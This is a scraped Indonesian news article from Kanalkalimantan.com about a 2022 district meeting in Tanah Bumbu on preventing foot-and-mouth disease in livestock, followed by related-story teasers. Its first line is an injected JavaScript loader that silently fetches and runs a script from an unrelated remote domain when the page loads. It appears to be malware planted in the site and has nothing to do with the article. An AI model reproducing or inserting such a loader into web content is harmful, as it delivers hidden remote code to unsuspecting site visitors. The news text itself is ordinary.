(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Dinas Ketahanan Pangan dan Pertanian (DKPP) menggelar Rapat Koordinasi (Rakor) kewaspadaan wabah Penyakit Mulut dan Kuku (PMK) pada ternak, Kamis (19/5/2022).
Tindak lanjut dari Surat Edaran Direktorat Jenderal Peternakan dan Kesehatan Nomor: 0600/PK 301/F/05/2022 tanggal 6 Mei 2022 perihal Peningkatan Kewaspadaan terhadap PMK.
Wabah PMK ini tengah menjadi perhatian dunia peternakan di Indonesia mengingat terjadinya peningkatan kasus di Pulau Jawa.
PMK adalah penyakit yang disebabkan oleh virus dan sangat menular di kalangan hewan ternak terutama pada Sapi. Penyakit yang disebabkan oleh virus ini akan membuat hewan ternak yang terjangkit menjadi demam, blister di mulut dan kaki hewan ternak, dan air liur kental.
Baca juga: Sejarah Hari Kebangkitan Nasional dan Berdirinya Budi Utomo
Kepala DKPP Tanbu melalui Sekretaris Dinas Lamijan mengatakan, rakor digelar untuk meningkatkan kewaspadaan terhadap PMK di Kabupaten Tanah Bumbu.
“Ini juga merupakan arahan Gubernur melalui Kepala Dinas Perkebunan dan Peternakan Provinsi Kalimantan Selatan, kita harus betul-betul serius mewaspadai masuknya PMK di wilayah kita,” terangnya.
Terlebih menjelang peringatan Hari Raya Idul Adha, angka kebutuhan terhadap hewan ternak dipastikan akan meningkat. Sehingga perlu dilakukan secara intensif melakukan pengawasan terhadap hewan ternak dari luar daerah yang masuk ke wilayah Tanah Bumbu.
Seperti dengan melakukan karantina selama 14 hari terhadap hewan ternak yang datang. Memberikan vaksin khusus guna meningkatkan daya tahan tubuh para hewan tersebut. Selain itu pendataan terkait hewan ternak yang masuk ke Tanah Bumbu juga akan semakin diperketat.
Staff Khusus Bupati H Abdul Latif menyampaikan, pemerintah daerah sangat mendukung terlaksananya rakor ini sebagai upaya antisipasi dan bentuk perlindungan terhadap masyarakat.
Menurutnya selain memperketat pengawasan terhadap hewan ternak, penting bagi masyarakat termasuk para peternak, serta pedagang untuk menerima edukasi dan sosialisasi.
“Koordinasi dan komunikasi yang cepat dan sigap, sehingga mencegah penyebaran wabah PK di Tanbu,” tandasnya. (Kanalkalimantan.com/ftr)
Reporter : ftr
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More
KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More
This website uses cookies.